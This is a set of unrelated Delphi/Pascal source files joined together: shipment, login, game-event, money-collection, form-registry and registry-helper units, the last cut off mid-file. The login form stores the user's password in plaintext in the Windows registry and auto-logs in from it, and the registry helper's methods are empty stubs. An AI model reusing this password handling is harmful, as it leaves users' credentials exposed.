fShipmentAPI.ShipmentDetails := Shipmentdetails.ShipmentDetailsTypeTypeAPI;
fShipmentAPI.Shipper := fShipper.ShipperTypeAPI;
fShipmentAPI.Receiver := fReceiver.ReceiverTypeAPI;
end;
destructor TDHLShipment.Destroy;
begin
FreeAndNil(fReceiver);
FreeAndNil(fShipper);
FreeAndNil(fShipmentdetails);
inherited;
end;
function TDHLShipment.ShipmentAPI: Shipment;
begin
Result := fShipmentAPI;
end;
end.
|
unit gr_AccessForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxControls, cxContainer, cxEdit, cxTextEdit,
cxLookAndFeelPainters, cxLabel, StdCtrls, cxButtons, ExtCtrls,
AccMGMT, Registry, gr_uMessage, ActnList, gr_uCommonTypes,
gr_uCommonConsts, gr_uCommonProc, Buttons;
type
TFAccess = class(TForm)
ActionList: TActionList;
ActionYes: TAction;
Image5: TImage;
Image4: TImage;
UserEdit: TcxTextEdit;
LoginEdit: TcxTextEdit;
SpeedButton1: TSpeedButton;
CloseSpeedButton: TSpeedButton;
CancelBtn: TSpeedButton;
YesBtn: TSpeedButton;
ActionCancel: TAction;
procedure CancelBtnClick(Sender: TObject);
procedure UserEditKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure ActionYesExecute(Sender: TObject);
procedure LoginEditKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormCreate(Sender: TObject);
procedure SaveUserData(Sender:TObject);
procedure CloseSpeedButtonClick(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure ActionCancelExecute(Sender: TObject);
private
AccessResult:TUser;
countoftry:byte;
CurrentLanguageIndex:byte;
pIsAlready:boolean;
public
constructor Create(AOwner:TComponent);override;
Property Result:TUser read AccessResult;
property IsAlready:Boolean read pIsAlready;
end;
function ShowAccess(AOwner:TComponent):TUser;stdcall;
exports ShowAccess;
implementation
{$R *.dfm}
function ShowAccess(AOwner:TComponent):TUser;stdcall;
var FormAccess:TFAccess;
Res:TUser;
begin
FormAccess:=TFAccess.Create(AOwner);
Res.ID:=0;
if (FormAccess.IsAlready) or (FormAccess.ShowModal=mrYes) then
Res:=FormAccess.Result;
FormAccess.Free;
Result:=Res;
end;
constructor TFAccess.Create(AOwner:TComponent);
var reg: TRegistry;
begin
inherited Create(AOwner);
pIsAlready:=False;
CurrentLanguageIndex := IndexLanguage;
countoftry := 0;
Caption := Access_Caption[CurrentLanguageIndex];
YesBtn.Hint := YesBtn.Caption;
CancelBtn.Hint := CancelBtn.Caption+' (Esc)';
reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Grant\Login\',False) then
begin
UserEdit.Text:=reg.ReadString('Login');
end
finally
reg.Free;
end;
end;
procedure TFAccess.CancelBtnClick(Sender: TObject);
begin
ModalResult:=mrNo;
end;
procedure TFAccess.UserEditKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key=VK_RETURN then LoginEdit.SetFocus;
end;
procedure TFAccess.ActionYesExecute(Sender: TObject);
var ResultInfo:TResultInfo;
begin
inc(countoftry);
//******************************************************************************
// соединиться с системой безопасности
try
ResultInfo := fibInitConnection(UserEdit.Text,LoginEdit.Text);
if ResultInfo.ErrorCode <> ACCMGMT_OK then // ошибка
begin
grShowMessage(ECaption[IndexLanguage],AcMgmtErrMsg(ResultInfo.ErrorCode),mtError,[mbOk]);
UserEdit.SetFocus;
end
else // все пучком
begin
AccessResult.Id:=GetUserId;
AccessResult.Id_Card:=GetCurrentUserIDExt;
AccessResult.Fio := GetUserFIO;
AccessResult.Name:=UserEdit.Text;
AccessResult.DB_Handle:=ResultInfo.DBHandle;
AccessResult.DbPath := fibGetCurrentDBPath;
pIsAlready:=True;
SaveUserData(Sender);
if fibCheckPermission('/ROOT/Grant','Belong')=0
then ModalResult:=mrYes
end;
except
on e: Exception do
begin
MessageDlg('Фатальна помилка у системі безпеки : ' + e.Message, mtError,[mbOk],0);
if CountOfTry>=3 then Application.Terminate
else Exit;
end;
end;
//******************************************************************************
if countoftry>=3 then Application.Terminate;
end;
procedure TFAccess.LoginEditKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key=VK_RETURN then ActionYesExecute(Sender);
end;
procedure TFAccess.FormCreate(Sender: TObject);
var Reg:TRegistry;
begin
reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Grant\Login\',False) then
begin
UserEdit.Text:=reg.ReadString('Login');
if reg.OpenKey('\Software\Grant\Login\PassWord',False) then
begin
LoginEdit.Text:=reg.ReadString('PassWord');
if LoginEdit.Text<>'' then ActionYesExecute(Sender);
end;
end
finally
reg.Free;
end;
end;
procedure TFAccess.SaveUserData(Sender:TObject);
var
reg: TRegistry;
begin
reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Grant\Login\',True) then
begin
reg.WriteString('Login',UserEdit.Text);
if reg.OpenKey('\Software\Grant\Login\Password\',False) then
reg.WriteString('Password',LoginEdit.Text);
end
finally
reg.Free;
end;
end;
procedure TFAccess.CloseSpeedButtonClick(Sender: TObject);
begin
Close;
end;
procedure TFAccess.SpeedButton1Click(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_SHOWMINIMIZED);
end;
procedure TFAccess.ActionCancelExecute(Sender: TObject);
begin
ModalResult:=mrCancel;
end;
end.
|
namespace com.example.android.jetboy;
{*
* Copyright (C) 2007 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*}
interface
uses
android.media,
android.view;
type
/// <summary>
/// Base class for any external event passed to the JetBoyThread. This can
/// include user input, system events, network input, etc.
/// </summary>
GameEvent = public class
assembly
var eventTime: Int64;
public
constructor;
end;
/// <summary>
/// A GameEvent subclass for key based user input. Values are those used by
/// the standard onKey
/// </summary>
KeyGameEvent = public class(GameEvent)
public
constructor(aKeyCode: Integer; aUp: Boolean; aMsg: KeyEvent);
var keyCode: Integer;
var msg: KeyEvent;
var up: Boolean;
end;
/// <summary>
/// A GameEvent subclass for events from the JetPlayer.
/// </summary>
JetGameEvent = public class(GameEvent)
public
constructor(aPlayer: JetPlayer; aSegment: SmallInt; aTrack, aChannel, aController, aValue: SByte);
var player: JetPlayer;
var segment: SmallInt;
var track: SByte;
var channel: SByte;
var controller: SByte;
var value: SByte;
end;
implementation
constructor GameEvent;
begin
eventTime := System.currentTimeMillis
end;
constructor KeyGameEvent(aKeyCode: Integer; aUp: Boolean; aMsg: KeyEvent);
begin
keyCode := aKeyCode;
msg := aMsg;
up := aUp
end;
constructor JetGameEvent(aPlayer: JetPlayer; aSegment: SmallInt; aTrack, aChannel, aController, aValue: SByte);
begin
player := aPlayer;
segment := aSegment;
track := aTrack;
channel := aChannel;
controller := aController;
value := aValue
end;
end. |
unit collection;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Forms, Controls, Graphics, Dialogs, Grids, StdCtrls,
fphttpclient, Fpjson, jsonparser, superobject, Types, DateUtils;
type
{ TMoneyCollectionForm }
TMoneyCollectionForm = class(TForm)
BtnCollect: TButton;
CollectionData: TStringGrid;
procedure BtnCollectClick(Sender: TObject);
procedure FormShow(Sender: TObject);
private
public
end;
var
MoneyCollectionForm: TMoneyCollectionForm;
implementation
{$R *.lfm}
{ TMoneyCollectionForm }
procedure TMoneyCollectionForm.BtnCollectClick(Sender: TObject);
var
buttonSelected: Integer;
postJson: TJSONObject;
begin
buttonSelected := MessageDlg('Collect money from station ' + IntToStr(CollectionData.Row) + '?', mtConfirmation, mbOKCancel, 0);
if buttonSelected = mrOK then
begin
postJson := TJSONObject.Create;
postJson.Add('id', CollectionData.Row);
postJson.Add('money', StrToInt(CollectionData.Cells[1, CollectionData.Row]));
With TFPHttpClient.Create(Nil) do
try
try
AddHeader('Content-Type', 'application/json');
RequestBody := TStringStream.Create(postJson.AsJSON);
Post('http://localhost:8020/save-collection');
CollectionData.Cells[2, CollectionData.Row] := DateTimeToStr(Now());
CollectionData.Cells[1, CollectionData.Row] := '0';
except
On E: Exception do
end;
finally
Free;
end;
end;
end;
procedure TMoneyCollectionForm.FormShow(Sender: TObject);
var
s: TTextStyle;
Data: ISuperObject;
Station: ISuperObject;
Stations: TSuperArray;
RequestAnswer: string;
ConvertedTime: TDateTime;
i, id, timeUnix: integer;
begin
s := CollectionData.DefaultTextStyle;
s.Alignment := taCenter;
CollectionData.DefaultTextStyle := s;
with TFPHttpClient.Create(nil) do
try
try
RequestAnswer := Get('http://localhost:8020/status-collection');
Data := SO(UTF8Decode(RequestAnswer));
if Data.S['stations'] <> '' then
begin
Stations := Data.A['stations'];
for i := 1 to Stations.Length do
begin
Station := Stations.O[i - 1];
if Station.AsObject.Exists('id') then
begin
id := Station.I['id'];
if Station.AsObject.Exists('money') then
begin
CollectionData.Cells[1, id] := IntToStr(Station.I['money']);
end
else
begin
CollectionData.Cells[1, id] := '0';
end;
if Station.AsObject.Exists('ctime') then
begin
timeUnix := Station.I['ctime'];
convertedTime := UnixToDateTime(timeUnix);
CollectionData.Cells[2, id] := DateTimeToStr(convertedTime);
end
else
begin
CollectionData.Cells[2, id] := '-----';
end;
end;
end;
end;
except
On E: Exception do
end;
finally
Free;
end;
end;
end.
|
unit uFormInterfaces;
interface
uses
Generics.Collections,
System.SysUtils,
System.Classes,
System.TypInfo,
Winapi.Windows,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.ExtCtrls,
Vcl.Imaging.Jpeg,
Data.DB,
UnitDBDeclare,
Dmitry.Controls.WebLink,
Dmitry.PathProviders,
uMemory,
uDBForm,
uRuntime,
uDBEntities;
type
IFormInterface = interface
['{24769E47-FE80-4FF7-81CC-F8E6C8AA77EC}']
procedure Show;
procedure Restore;
end;
IImageSource = interface(IInterface)
['{382D130E-5746-4A6D-9C15-B2EEEF089F44}']
function GetImage(FileName: string; Bitmap: TBitmap; var Width: Integer; var Height: Integer): Boolean;
end;
IViewerForm = interface(IFormInterface)
['{951665C9-EDA5-44BD-B833-B5543B58DF04}']
function ShowImage(Sender: TObject; FileName: string): Boolean;
function ShowImages(Sender: TObject; Info: TMediaItemCollection): Boolean;
function ShowImageInDirectory(FileName: string; ShowPrivate: Boolean): Boolean;
function ShowImageInDirectoryEx(FileName: string): Boolean;
function NextImage: Boolean;
function PreviousImage: Boolean;
function Pause: Boolean;
function TogglePause: Boolean;
function CloseActiveView: Boolean;
function CurrentFullImage: TBitmap;
procedure DrawTo(Canvas: TCanvas; X, Y: Integer);
function ShowPopup(X, Y: Integer): Boolean;
function GetImagesCount: Integer;
function GetIsFullScreenNow: Boolean;
function GetIsSlideShowNow: Boolean;
function GetImageIndex: Integer;
procedure SetImageIndex(Value: Integer);
function GetImageByIndex(Index: Integer): TMediaItem;
procedure UpdateImageInfo(Info: TMediaItem);
property ImagesCount: Integer read GetImagesCount;
property ImageIndex: Integer read GetImageIndex write SetImageIndex;
property IsFullScreenNow: Boolean read GetIsFullScreenNow;
property IsSlideShowNow: Boolean read GetIsSlideShowNow;
property Images[Index: Integer]: TMediaItem read GetImageByIndex;
end;
IImageEditor = interface(IFormInterface)
['{0C5858BC-AF84-4941-AE8A-B0DF594DA7BF}']
function EditFile(Image: string; BitmapOut: TBitmap): Boolean;
function EditImage(Image: TBitmap): Boolean;
procedure Close;
end;
IAboutForm = interface(IFormInterface)
['{319D1068-3734-4229-9264-8922123F31C0}']
procedure Execute;
end;
IActivationForm = interface(IFormInterface)
['{B2742B2F-4210-4A48-B45E-54AEAD63062F}']
procedure Execute;
end;
IOptionsForm = interface(IFormInterface)
['{5B8A57BA-3FCB-489C-A849-753BDA0D1356}']
end;
IRequestPasswordForm = interface(IFormInterface)
['{7710EB12-321A-44B1-B72A-FD238C450ACD}']
function ForImage(FileName: string): string;
function ForImageEx(FileName: string; out AskAgain: Boolean): string;
function ForBlob(DF: TField; FileName: string): string;
function ForSteganoraphyFile(FileName: string; CRC: Cardinal) : string;
function ForManyFiles(FileList: TStrings; CRC: Cardinal; var Skip: Boolean): string;
end;
IBatchProcessingForm = interface(IFormInterface)
['{DEF35564-F0E4-46DD-A323-8FC6ABF19E3D}']
procedure ExportImages(Owner: TDBForm; List: TMediaItemCollection);
procedure ResizeImages(Owner: TDBForm; List: TMediaItemCollection);
procedure ConvertImages(Owner: TDBForm; List: TMediaItemCollection);
procedure RotateImages(Owner: TDBForm; List: TMediaItemCollection; DefaultRotate: Integer; StartImmediately: Boolean);
end;
IJpegOptionsForm = interface(IFormInterface)
['{C1F4BB58-77A8-4AF0-A9FD-196470D5AD7D}']
procedure Execute(Section: string = '');
end;
ISelectSourceForm = interface(IFormInterface)
['{1945B6CD-8BA1-4D0B-B4CE-F57291FA5419}']
procedure Execute;
end;
IImportForm = interface(IFormInterface)
['{64D665EF-5407-410D-8B4B-E18CE9F35FC3}']
procedure FromDevice(DeviceName: string);
procedure FromDrive(DriveLetter: Char);
procedure FromFolder(Folder: string);
end;
IStringPromtForm = interface(IFormInterface)
['{190CD270-05BA-45D6-9013-079177BCC2D3}']
function Query(Caption, Text: String; var UserString: string): Boolean;
end;
IEncryptForm = interface(IFormInterface)
['{FB0EA46F-E184-4E16-9F8A-0B4300ED1CFD}']
function QueryPasswordForFile(FileName: string): TEncryptImageOptions;
procedure Encrypt(Owner: TDBForm; Text: string; Info: TMediaItemCollection);
procedure Decrypt(Owner: TDBForm; Info: TMediaItemCollection);
end;
ISteganographyForm = interface(IFormInterface)
['{617ABA0A-1313-4319-9F20-7C75737D49FE}']
procedure HideData(InitialFileName: string);
procedure ExtractData(InitialFileName: string);
end;
IShareForm = interface(IFormInterface)
['{2DF99576-6806-4735-90C9-434F2248B1A9}']
procedure Execute(Owner: TDBForm; Info: TMediaItemCollection);
end;
IShareLinkForm = interface(IFormInterface)
['{25917009-223C-4012-8443-79E14C52C290}']
procedure Execute(Owner: TDBForm; Info: TMediaItemCollection);
end;
IGroupCreateForm = interface(IFormInterface)
['{9F17471D-49EC-42B4-95B4-D09526D4B0AE}']
procedure CreateGroup;
procedure CreateFixedGroup(GroupName, GroupCode: string);
procedure CreateGroupByCodeAndImage(GroupCode: string; Image: TJpegImage; out Created: Boolean; out GroupName: string);
end;
IGroupInfoForm = interface(IFormInterface)
['{F590F498-C6BB-4FB1-8571-5B9D21A63A6B}']
procedure Execute(AOwner: TForm; Group: TGroup; CloseOwner: Boolean); overload;
procedure Execute(AOwner: TForm; Group: string; CloseOwner: Boolean); overload;
end;
IGroupsSelectForm = interface(IFormInterface)
['{541139AB-E20A-41AA-A15A-A063A65C1328}']
procedure Execute(var Groups: TGroups; var KeyWords: string; CanNew: Boolean = True); overload;
procedure Execute(var Groups: string; var KeyWords: string; CanNew: Boolean = True); overload;
end;
ICollectionAddItemForm = interface(IFormInterface)
['{29D8DB10-F2B2-4E1C-ABDA-BCAF9CAC5FDC}']
procedure Execute(Info: TMediaItem);
end;
ICDExportForm = interface(IFormInterface)
['{72359017-3ABA-4C8F-ACB0-FB2D37798CB4}']
procedure Execute;
end;
ICDMapperForm = interface(IFormInterface)
['{B45F759D-40DD-4BA5-BA24-950389A5CB3A}']
procedure Execute;
end;
ISelectLocationForm = interface(IFormInterface)
['{B3298299-4966-42ED-93F4-98C5790D1675}']
function Execute(Title, StartPath: string; out PathItem: TPathItem; AllowVirtualItems: Boolean): Boolean;
end;
IBackgroundTaskStatusForm = interface(IFormInterface)
['{22AFC874-9408-45C1-9F83-04F490B928F1}']
function ShowModal: Integer;
procedure SetProgress(Max, Position: Int64);
procedure SetText(Text: string);
procedure CloseForm;
end;
IFormSelectDuplicateDirectories = interface(IFormInterface)
['{80EA9FEA-2958-4CB4-84C9-7D729C054618}']
function Execute(DirectoriesInfo: TList<string>): string;
end;
TListElementType = (leWebLink, leInfoLabel);
TListElements = TDictionary<TListElementType, TControl>;
ILinkItemSelectForm = interface;
TProcessActionLinkProcedure = reference to procedure(Action: string; WebLink: TWebLink);
TAddActionProcedure = reference to procedure(Actions: array of string; ProcessActionLink: TProcessActionLinkProcedure);
IFormLinkItemEditorData = interface
procedure ApplyChanges;
function GetEditorData: TDataObject;
function GetEditorPanel: TPanel;
function GetTopPanel: TPanel;
property EditorData: TDataObject read GetEditorData;
property EditorPanel: TPanel read GetEditorPanel;
property TopPanel: TPanel read GetTopPanel;
end;
ILinkEditor = interface
procedure SetForm(Form: IFormLinkItemEditorData);
procedure CreateNewItem(Sender: ILinkItemSelectForm; var Data: TDataObject; Verb: string; Elements: TListElements);
procedure CreateEditorForItem(Sender: ILinkItemSelectForm; Data: TDataObject; EditorData: IFormLinkItemEditorData);
procedure UpdateItemFromEditor(Sender: ILinkItemSelectForm; Data: TDataObject; EditorData: IFormLinkItemEditorData);
procedure FillActions(Sender: ILinkItemSelectForm; AddActionProc: TAddActionProcedure);
function OnDelete(Sender: ILinkItemSelectForm; Data: TDataObject; Editor: TPanel): Boolean;
function OnApply(Sender: ILinkItemSelectForm): Boolean;
end;
ILinkItemSelectForm = interface(IFormInterface)
['{92517237-BEFB-4033-BD56-3974E650E954}']
function Execute(ListWidth: Integer; Title: string; Data: TList<TDataObject>; Editor: ILinkEditor): Boolean;
function GetDataList: TList<TDataObject>;
property DataList: TList<TDataObject> read GetDataList;
end;
IFormLinkItemEditor = interface(IFormInterface)
['{EBFFA2F7-FF90-4425-B217-916E70F8399C}']
function Execute(Title: string; Data: TDataObject; Editor: ILinkEditor): Boolean;
end;
IFormCollectionPreviewSettings = interface(IFormInterface)
['{AC28FCD4-E07B-4FC5-BB42-03E91989457B}']
function Execute(CollectionFileName: string): Boolean;
end;
IFullScreenControl = interface(IFormInterface)
['{09079B22-272B-4474-B5F1-8E6CACAD7AD8}']
procedure Hide;
procedure Close;
procedure Pause;
procedure Play;
function HasMouse: Boolean;
procedure MoveToForm(Form: TDBForm);
procedure SetButtonsEnabled(Value: Boolean);
procedure SetPlayEnabled(Value: Boolean);
end;
ISlideShowForm = interface(IFormInterface)
['{CFB4A1D1-08D4-4F16-9ACB-05BD2EBC0B29}']
procedure Next;
procedure Previous;
procedure Pause;
procedure Play;
procedure Execute;
procedure Close;
procedure DisableControl;
procedure EnableControl;
end;
IFullScreenImageForm = interface(IFormInterface)
['{531EDB91-3324-4982-86CC-F15840D3E3EE}']
procedure DrawImage(Image: TBitmap);
procedure Pause;
procedure Play;
procedure Close;
procedure DisableControl;
procedure EnableControl;
end;
type
TFormInterfaces = class(TObject)
private
FFormInterfaces: TDictionary<TGUID, TComponentClass>;
FFormInstances: TDictionary<TGUID, TForm>;
FCreationList: TList<TGUID>;
public
constructor Create;
destructor Destroy; override;
procedure RegisterFormInterface(Intf: TGUID; FormClass: TComponentClass);
function CreateForm<T: IInterface>(): T;
function GetSingleForm<T: IInterface>(CreateNew: Boolean): T;
function GetSingleFormInstance<TFormClass: TForm>(Intf: TGUID; CreateNew: Boolean): TFormClass;
procedure RemoveSingleInstance(FormInstance: TForm);
end;
function FormInterfaces: TFormInterfaces;
function Viewer: IViewerForm;
function CurrentViewer: IViewerForm;
function AboutForm: IAboutForm;
function ActivationForm: IActivationForm;
function OptionsForm: IOptionsForm;
function RequestPasswordForm: IRequestPasswordForm;
function BatchProcessingForm: IBatchProcessingForm;
function JpegOptionsForm: IJpegOptionsForm;
function SelectSourceForm: ISelectSourceForm;
function ImportForm: IImportForm;
function StringPromtForm: IStringPromtForm;
function EncryptForm: IEncryptForm;
function SteganographyForm: ISteganographyForm;
function ShareForm: IShareForm;
function ShareLinkForm: IShareLinkForm;
function GroupsSelectForm: IGroupsSelectForm;
function GroupInfoForm: IGroupInfoForm;
function GroupCreateForm: IGroupCreateForm;
function CollectionAddItemForm: ICollectionAddItemForm;
function CDExportForm: ICDExportForm;
function CDMapperForm: ICDMapperForm;
function SelectLocationForm: ISelectLocationForm;
function LinkItemSelectForm: ILinkItemSelectForm;
function BackgroundTaskStatusForm: IBackgroundTaskStatusForm;
function CollectionPreviewSettings: IFormCollectionPreviewSettings;
function FormLinkItemEditor: IFormLinkItemEditor;
function FormSelectDuplicateDirectories: IFormSelectDuplicateDirectories;
function FullScreenControl: IFullScreenControl;
function FullScreenImageForm: IFullScreenImageForm;
function SlideShowForm: ISlideShowForm;
implementation
var
FFormInterfaces: TFormInterfaces = nil;
function FormInterfaces: TFormInterfaces;
begin
if FFormInterfaces = nil then
FFormInterfaces := TFormInterfaces.Create;
Result := FFormInterfaces;
end;
function Viewer: IViewerForm;
begin
Result := FormInterfaces.GetSingleForm<IViewerForm>(True);
end;
function CurrentViewer: IViewerForm;
begin
Result := FormInterfaces.GetSingleForm<IViewerForm>(False);
end;
function AboutForm: IAboutForm;
begin
Result := FormInterfaces.GetSingleForm<IAboutForm>(True);
end;
function ActivationForm: IActivationForm;
begin
Result := FormInterfaces.GetSingleForm<IActivationForm>(True);
end;
function OptionsForm: IOptionsForm;
begin
Result := FormInterfaces.GetSingleForm<IOptionsForm>(True);
end;
function RequestPasswordForm: IRequestPasswordForm;
begin
Result := FormInterfaces.CreateForm<IRequestPasswordForm>();
end;
function BatchProcessingForm: IBatchProcessingForm;
begin
Result := FormInterfaces.CreateForm<IBatchProcessingForm>();
end;
function JpegOptionsForm: IJpegOptionsForm;
begin
Result := FormInterfaces.GetSingleForm<IJpegOptionsForm>(True);
end;
function SelectSourceForm: ISelectSourceForm;
begin
Result := FormInterfaces.CreateForm<ISelectSourceForm>();
end;
function ImportForm: IImportForm;
begin
Result := FormInterfaces.CreateForm<IImportForm>();
end;
function StringPromtForm: IStringPromtForm;
begin
Result := FormInterfaces.CreateForm<IStringPromtForm>();
end;
function EncryptForm: IEncryptForm;
begin
Result := FormInterfaces.CreateForm<IEncryptForm>();
end;
function SteganographyForm: ISteganographyForm;
begin
Result := FormInterfaces.CreateForm<ISteganographyForm>();
end;
function ShareForm: IShareForm;
begin
Result := FormInterfaces.CreateForm<IShareForm>();
end;
function ShareLinkForm: IShareLinkForm;
begin
Result := FormInterfaces.CreateForm<IShareLinkForm>();
end;
function GroupsSelectForm: IGroupsSelectForm;
begin
Result := FormInterfaces.CreateForm<IGroupsSelectForm>();
end;
function GroupInfoForm: IGroupInfoForm;
begin
Result := FormInterfaces.CreateForm<IGroupInfoForm>();
end;
function GroupCreateForm: IGroupCreateForm;
begin
Result := FormInterfaces.CreateForm<IGroupCreateForm>();
end;
function CollectionAddItemForm: ICollectionAddItemForm;
begin
Result := FormInterfaces.CreateForm<ICollectionAddItemForm>();
end;
function CDExportForm: ICDExportForm;
begin
Result := FormInterfaces.GetSingleForm<ICDExportForm>(True);
end;
function CDMapperForm: ICDMapperForm;
begin
Result := FormInterfaces.GetSingleForm<ICDMapperForm>(True);
end;
function SelectLocationForm: ISelectLocationForm;
begin
Result := FormInterfaces.CreateForm<ISelectLocationForm>();
end;
function LinkItemSelectForm: ILinkItemSelectForm;
begin
Result := FormInterfaces.CreateForm<ILinkItemSelectForm>();
end;
function BackgroundTaskStatusForm: IBackgroundTaskStatusForm;
begin
Result := FormInterfaces.CreateForm<IBackgroundTaskStatusForm>();
end;
function CollectionPreviewSettings: IFormCollectionPreviewSettings;
begin
Result := FormInterfaces.CreateForm<IFormCollectionPreviewSettings>();
end;
function FormLinkItemEditor: IFormLinkItemEditor;
begin
Result := FormInterfaces.CreateForm<IFormLinkItemEditor>();
end;
function FullScreenControl: IFullScreenControl;
begin
Result := FormInterfaces.CreateForm<IFullScreenControl>();
end;
function FullScreenImageForm: IFullScreenImageForm;
begin
Result := FormInterfaces.CreateForm<IFullScreenImageForm>();
end;
function SlideShowForm: ISlideShowForm;
begin
Result := FormInterfaces.CreateForm<ISlideShowForm>();
end;
function FormSelectDuplicateDirectories: IFormSelectDuplicateDirectories;
begin
Result := FormInterfaces.CreateForm<IFormSelectDuplicateDirectories>();
end;
{ TFormInterfaces }
constructor TFormInterfaces.Create;
begin
FFormInterfaces := TDictionary<TGUID, TComponentClass>.Create;
FFormInstances := TDictionary<TGUID, TForm>.Create;
FCreationList := TList<TGUID>.Create;
end;
destructor TFormInterfaces.Destroy;
begin
F(FFormInterfaces);
F(FFormInstances);
F(FCreationList);
inherited;
end;
function TFormInterfaces.CreateForm<T>: T;
var
G: TGUID;
F: TForm;
begin
G := GetTypeData(TypeInfo(T))^.Guid;
Application.CreateForm(FFormInterfaces[G], F);
F.GetInterface(G, Result);
end;
function TFormInterfaces.GetSingleFormInstance<TFormClass>(Intf: TGUID; CreateNew: Boolean): TFormClass;
begin
if FFormInstances.ContainsKey(Intf) then
Exit(FFormInstances[Intf] as TFormClass);
if not CreateNew then
Exit(nil);
if GetCurrentThreadId <> MainThreadID then
raise Exception.Create('Can''t create form using child thread!');
Application.CreateForm(FFormInterfaces[Intf], Result);
FFormInstances.Add(Intf, Result);
end;
function TFormInterfaces.GetSingleForm<T>(CreateNew: Boolean): T;
var
G: TGUID;
Form: TForm;
begin
G := GetTypeData(TypeInfo(T))^.Guid;
if FCreationList.Contains(G) then
Exit(T(nil));
if not FFormInstances.ContainsKey(G) then
begin
if not CreateNew then
Exit(nil);
if GetCurrentThreadId <> MainThreadID then
raise Exception.Create('Can''t create form using child thread!');
FCreationList.Add(G);
try
Application.CreateForm(FFormInterfaces[G], Form);
FFormInstances.Add(G, Form);
finally
FCreationList.Remove(G);
end;
end;
FFormInstances[G].GetInterface(G, Result);
end;
procedure TFormInterfaces.RegisterFormInterface(Intf: TGUID; FormClass: TComponentClass);
begin
FFormInterfaces.Add(Intf, FormClass);
end;
procedure TFormInterfaces.RemoveSingleInstance(FormInstance: TForm);
var
Pair: TPair<TGUID, TForm>;
begin
for Pair in FFormInstances do
if Pair.Value = FormInstance then
begin
FFormInstances.Remove(Pair.Key);
Break;
end;
end;
initialization
finalization
F(FFormInterfaces);
end.
|
unit uReg;
interface
uses
Windows, Dialogs, SysUtils, Classes;
const
UNIT_NAME = 'Reg';
kernel = 'kernel32.dll';
user = 'user32.dll';
rgCLASSES = 'CLASSES_ROOT';
rgCURRENT_USER = 'CURRENT_USER';
rgLOCAL_MACHINE = 'LOCAL_MACHINE';
rgUSERS = 'USERS';
rgPERF_DATA = 'PERFORMANCE_DATA';
rgCONFIG = 'CURRENT_CONFIG';
rgDYN_DATA = 'DYN_DATA';
regOptionNonVolatile = 0;
regErrorNone = 0;
regErrorBadDB = 1;
regErrorBadKey = 2;
regErrorCantOpen = 3;
regErrorCantRead = 4;
regErrorCantWrite = 5;
regErrorOutOfMemory = 6;
regErrorInvalidParameter = 7;
regErrorAccessDenied = 8;
regErrorInvalidParameterS = 87;
regErrorNoMoreItems = 259;
regKeyAllAccess = $3F;
regKeyQueryValue = $1;
regSZ = 1;
regBinary = 3;
regDWord = 4;
type
CReg = class(TObject)
private
procedure Emsg( s : string );
function Parms(v: array of Variant; Paired: Boolean): String;
function GetStringParm(v: array of Variant; Paired: Boolean;
MajorDelimiter, MinorDelimiter: String): String;
function ucRight(s: String; NumOfRightChar: integer): String;
public
Procedure RegCreateNewKey( KeyName : String; RootKey : HKEY = HKEY_LOCAL_MACHINE);
Procedure RegDeleteKey( KeyName : String ; RootKey : HKEY = HKEY_LOCAL_MACHINE);
Procedure RegDeleteValue( KeyName, ValueName : String ; RootKey : HKEY = HKEY_LOCAL_MACHINE );
Function RegEnumerateSubKeys( KeyName : String; Keys : TStringList ; RootKey : HKEY = HKEY_LOCAL_MACHINE) : Integer;
Function RegEnumerateValues( KeyName : String; Values : TStringList ; RootKey : HKEY = HKEY_LOCAL_MACHINE) : Integer;
Function RegGetKeyValue( KeyName, ValueName : String; RootKey : HKEY = HKEY_LOCAL_MACHINE) : Variant;
Function ConvertRootKey( RootKey : String) : LongInt; overload;
Function ConvertRootKey( RootKey : Cardinal) : String; overload;
Function RegError( ErrorCode : LongInt) : String;
Procedure RegSetKeyValue( KeyName, ValueName : String; Data : String; RootKey : HKEY = HKEY_LOCAL_MACHINE); overload;
Procedure RegSetKeyValue( KeyName, ValueName : String; Data : LongInt; RootKey : HKEY = HKEY_LOCAL_MACHINE); overload;
Procedure RegSetKeyValue( KeyName, ValueName : String; Data: array of Byte; RootKey : HKEY = HKEY_LOCAL_MACHINE); overload;
Function RegGet( KeyName, ValueName : String; DefaultValue : String = ''; RootKey : HKEY = HKEY_LOCAL_MACHINE) : String;
Procedure RegSet( KeyName, ValueName : String; Data : String; RootKey : HKEY = HKEY_LOCAL_MACHINE);
constructor Create(); overload;
constructor Create(callingWindowedApp : TObject); overload;
destructor Destroy; override;
end;
function APICopyFile(ExistingFile, NewFile: PChar; nFailIfExists: LongInt): LongInt; stdcall;
external kernel name 'CopyFileA';
implementation
Procedure CReg.RegCreateNewKey( KeyName : String; RootKey : HKEY = HKEY_LOCAL_MACHINE);
Begin
try
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'RootKey',RootKey ], True));
raise;
end; {try}
End;
Procedure CReg.RegDeleteKey( KeyName : String ; RootKey : HKEY = HKEY_LOCAL_MACHINE);
Begin
try
except
EMsg(UNIT_NAME + ':RegCreateNewKey' + Parms(['KeyName', KeyName, 'RootKey',RootKey ], True));
raise;
end; {try}
End;
Procedure CReg.RegDeleteValue( KeyName, ValueName : String ; RootKey : HKEY = HKEY_LOCAL_MACHINE );
Begin
try
except
